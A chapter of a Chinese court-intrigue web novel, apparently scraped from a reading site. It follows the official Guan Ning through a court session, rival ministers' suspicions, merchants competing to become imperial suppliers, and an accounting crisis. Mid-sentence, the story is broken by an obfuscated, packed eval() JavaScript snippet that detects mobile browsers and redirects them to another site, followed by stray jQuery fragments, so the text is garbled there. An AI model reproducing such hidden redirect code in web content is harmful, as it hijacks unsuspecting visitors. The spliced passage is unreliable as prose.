82.六部(5)
作品:《女官手札》 盛夏六月,天光明晃。
大殿之中,列位大臣身着朝服,肃立两侧。高座上的天子神色淡淡,指尖缓缓翻阅着案前的奏折。
关宁站在殿中,目光平静,袖中的手却微微收紧。
今日的朝会,便是新法正式推行的最后一步。
一纸奏折,所有条例、实施细则皆已列明,就等皇帝最后的裁定。
殿内寂静无声,唯有奏折翻动的沙沙声回荡耳畔。每个人都屏息凝神,等待着那道最终的旨意。
终于,皇帝将奏折搁下,视线在众人之间缓缓掠过。
“此法已定。”他的声音沉稳不容置疑,“户部、刑部务必全力配合。”
这一句话落下,殿中气流似乎微微一滞。
户部尚书与刑部尚书立刻俯身走到大殿前面,立于关宁身侧领命:“臣遵旨!”
众臣齐声应和,关宁亦拱手低头,心底微微松了一口气。
新法,终于落地了。
可此刻,在朝堂之上,却有几人,心思各异。
三人归列,兵部尚书奏报边疆事宜,从去年至现在,南单一直小范围试探骚扰剑南道安南附近,众人都担心南单成为下一个胡越。大康丢失的云州、永州、宁州至今还未收复。
大康名将不少,但也不是很多,边疆三城就损失了大半将领,尤其是莫家,莫家一代将领众多,但随着三城沦陷皆死的死,残的残。
莫家这一支就剩一个体弱的幼子在朝为官,一个年迈的莫老将军在家修养,和一个在深宫的贤妃娘娘。
皇帝听完下旨传令剑南道按察使,勤于兵务注意外敌。
接着就是礼部尚书奏书说这段时间和波斯、琉球等地的外交成果。
朝会渐入尾声。
站在队列之中的户部郎中脸色越来越煞白,额角甚至渗出一丝冷汗。
他的手指在袖中不安地绞动,眼神偷偷瞟向大殿队列一侧的关宁。
他明明亲手将右相徐勉贪墨的证据交给了她,按理来说,只要她将此事呈报圣上,右相绝无可能全身而退。可今日的朝会,皇帝非但没有追究右相,甚至连只言片语都未曾提及。
他不敢相信——
难道关宁……隐瞒了证据?
不对,这没有理由,关宁没有理由放弃这么好的机会!
还是说,她看出左相预意隐退,所以她归顺了右相?
这念头一起,他只觉喉间发涩,几乎要站不住。
他深知右相的权势滔天,若关宁真的归顺了他,那朝堂之上,谁还能够抗衡?
他低垂着眼眸,不敢去看那位女子的神色,可心中却翻涌着深深的怀疑与不安。
他又悄悄瞥了一眼站在最前方左侧的左相李衡——他的神色如何?
想知道,他是否也察觉到了什么?
李衡站在群臣之中,脊背挺直,脸色一如既往的平静,目光深邃如渊,看不出丝毫情绪。
户部郎中看不透他在想什么。
但李衡此刻心中却在快速盘算。
他安排户部郎中送出的东西,他本就一清二楚知道那证据有多大用处,而现在,皇帝既未提及右相的罪行,也未流露出任何端倪,这本身就耐人寻味。
皇帝他到底是在放长线钓大鱼,还是……他早有决断?
李衡眸色深了几分。
倘若是后者,那便说明——
皇帝早在这场博弈的更深层处,做下了自己的选择,而今日这场朝会,不过是水面上的涟漪,真正的棋局,还在暗处。
他不动声色地看了关宁一眼。
她站得笔直,神色沉静,没有一丝慌乱,仿佛对今日的局势早已胸有成竹。
这一刻,李衡忽然有些明白了。
关宁并非简单地隐瞒了证据,而是可能选择了一条更隐秘却更稳妥的路。
那么,她的棋,又会如何落下?
他目前想不透。
右相徐勉今日心情极好。
他站在队列之中,拢在袖中的手微微握拳,掌心带着一点儿得意的笑意。
户部郎中的小动作,他看得清清楚楚。
一个小小的户部郎中,妄想借此扳倒他?当真是可笑至极。
他本以为,左相会借此机会,将他置于风口浪尖,可如今看来,他竟然没有这么做。
这说明什么?
他怕了。
又或者——他没有任何证据可以扳倒他,之前的不过虚张声势,现在新法自户部、刑部、御用菜园开始实施,左相他更没有法子对他轻易动手了。
但那些事情,终究是一个隐患,而且左相把持朝政几十年,不可能没有后手。
想到这里,徐勉嘴角微不可察地勾了勾,眼底浮现一丝冷意。
朝堂之上,风云诡谲,每个人都在谋划自己的退路。
他也不例外。
但皇帝今日未曾拿他开刀,足以说明他仍然立于不败之地。
那么接下来,他只需要做一件事——
趁着这份“无事”的假象,暗中继续巩固自己的权势。
顺便挖除那几枚隐患。
让事情更加完美无缺些。
朝会的气氛,微妙地变化了。
皇帝的神色始终未变,淡淡地看着群臣,仿佛一切都在他的掌控之中。
关宁站在原地,感受到周围投来的目光,却始终一动不动,神色不改。
她知道,今日之后,户部郎中的心里会产生疑虑,李衡会试图窥探,而徐勉……会在暗处继续筹谋。
但这些,都在她的意料之中。
有些局,不能急。
真正的杀招,不在今日,而在未来。
她微微垂眸,眼底一片平静无波。
皇帝的声音不疾不徐地下来。
“退朝。”
***
长安城中,连日来比往常更为热闹。
街道两旁的茶楼、酒肆,处处可见衣着华贵的商贾进进出出,低声交谈,眼底透着几分隐隐的兴奋。
五湖四海的商人齐聚于此,原因无他——皇帝即将亲自选定皇商,而这次的核心产业,竟是御用菜园。
皇商之名,岂是寻常商贾可比?
一旦被选中,不仅能借助皇室的光环名声大噪,更能获得丰厚的利益,甚至连家族的地位也会水涨船高。
“你可听说了?这次的皇商挑选,可不是随意定下,而是要经过层层考核。”
“自然,皇上怎会轻易把御用之物交给无能之辈?但话虽如此,若真被选上,那可就不同了。”
“唉,长安城最近来了不少人,我看江南、洛阳、西南那边大商人都来了。”
“皇家的生意,谁不想做?若是能借此机会翻身,以后岂不是长安都会有立足之地?”
“不错!所以这次,大家可都是下了血本要争一争。”
酒肆之中,商人们交头接耳,语气既带着隐忧,又带着期待。
有的商家在暗地里拉拢关系,有的则在悄悄打听御用菜园的底细,甚至还有人暗中运作,希望能通过户部或刑部的人,提前知道评选的细节。
一时间,长安的空气中,似乎都弥漫着算计与交易的气息。
***
而在大明宫内,自皇帝定下皇商挑选之事以来,户部仓部司、刑部比部司的官员们便忙得脚不沾地。
卷宗堆积如山,小吏们来往穿梭,耳边是不断拨响的算盘声。
“这笔账再核对一次,不能出半点错!”
“上次送来的账目,拿去让户部再看一遍,确保没有遗漏!”
“快些,过几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514740|158764||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日就要与商人们对账了,所有数字必须精准无误!”
比部司的书吏们低头疾书,墨迹未干的账册一摞摞摆在案上,空气中弥漫着淡淡的纸张与墨香混合的气息。
关宁也未曾停歇,自从皇帝下令选定皇商,她便一直与户部、刑部的人一同审查账目、核定财务、草拟考核标准,每日忙到深夜。
终于,在七日之后,一切准备就绪。
皇商挑选大会,正式启动。
第一日,长安各地的商人汇聚于外朝一座议事楼,听取户部与刑部官员的宣讲,详细了解本次挑选大会的规则与宗旨。
下午,则由宫中负责御用菜园的太监亲自带队,带着商人们前往菜园参观,让他们亲眼见证这块皇室御田的运作。
而等到傍晚,所有人聚集一堂,讨论后续合作的细节。
这一切安排井然有序,直至午间,都未曾出现纰漏。
然而,就在关宁坐在偏殿用膳之时,突如其来的变故,打破了这片短暂的平静。
“关大人!”
任子洲的声音带着几分急切,他疾步冲入殿内,连身上的官袍都因奔走微微凌乱。
关宁正拿着筷子的手微微一顿,抬头看向他。
“出事了。”任子洲喘了一口气,脸色凝重,“账目出错了。”
关宁心头猛地一沉,瞬间放下食盒,起身便走。
刑部比部司偏厅内,一片死寂。
一名小吏跪伏在地,脸色惨白,身子瑟瑟发抖。
在他的四周,是一张张堆积如山的账册。
户部与刑部的几名官员围在桌案前,脸色皆阴沉至极,空气中似乎凝固了一层冰霜。
关宁踏入厅内,扫了一眼众人的神色,眉头微蹙。
“怎么回事?”她的声音不疾不徐,带着一丝压抑的冷意。
户部仓部司的主事官低声道:“比对账目的时候,我们发现最初誊写的一个数目错了,导致后面所有账目都错了。”
“错了多少?”关宁目光一沉。
主事官咬牙道:“全部。”
这两个字,让整个厅内的气息骤然一滞。
“全部?”关宁的声音极轻,却让跪在地上的小吏猛地颤了一下。
“是……是属下的错。”小吏声音发颤,额头上已经渗出冷汗,他的手死死地扣着地面,指节泛白,连身子都在微微发抖。
他当然知道自己铸下了怎样的大错。
今日已经是挑选大会的第一日,而明日,就要与商人们核对账目,若此时才发现账目全错,意味着所有的计算都要推翻重来。
但他们根本没有时间了!
重新核算至少需要三日,可明日便要对账,时间上根本不可能赶得上。
若是账目有误,这关乎皇室的颜面,还会让商人们质疑皇商的公平性,甚至会借此做文章,在外散布流言。
这一场关乎皇商的大会,绝不能出错!
小吏脸色愈发灰败,额上的汗珠一滴滴滚落,跪在地上几乎喘不过气来。
“关大人……”任子洲低声开口,眼神复杂地看向她。
关宁的手指缓缓收紧。
她自然明白这意味着什么。
不仅仅是账目的问题,更是朝廷威信的问题。
她缓缓闭了闭眼,心中已经快速推演可能的解决方案。
半晌,她睁开眼,眸色清冷,沉声道:“召集所有人,连夜算账。”
她的声音透着不容置疑的坚定。
“哪怕是通宵,也必须赶在明日之前,完成核对。”
空气仿佛凝滞了一瞬。
但很快,厅内的官员们纷纷应声,开始急速行动。
而关宁站在厅中,目光锐利如刀,心中暗自思忖究竟要如何,才能在一日之内准确算完?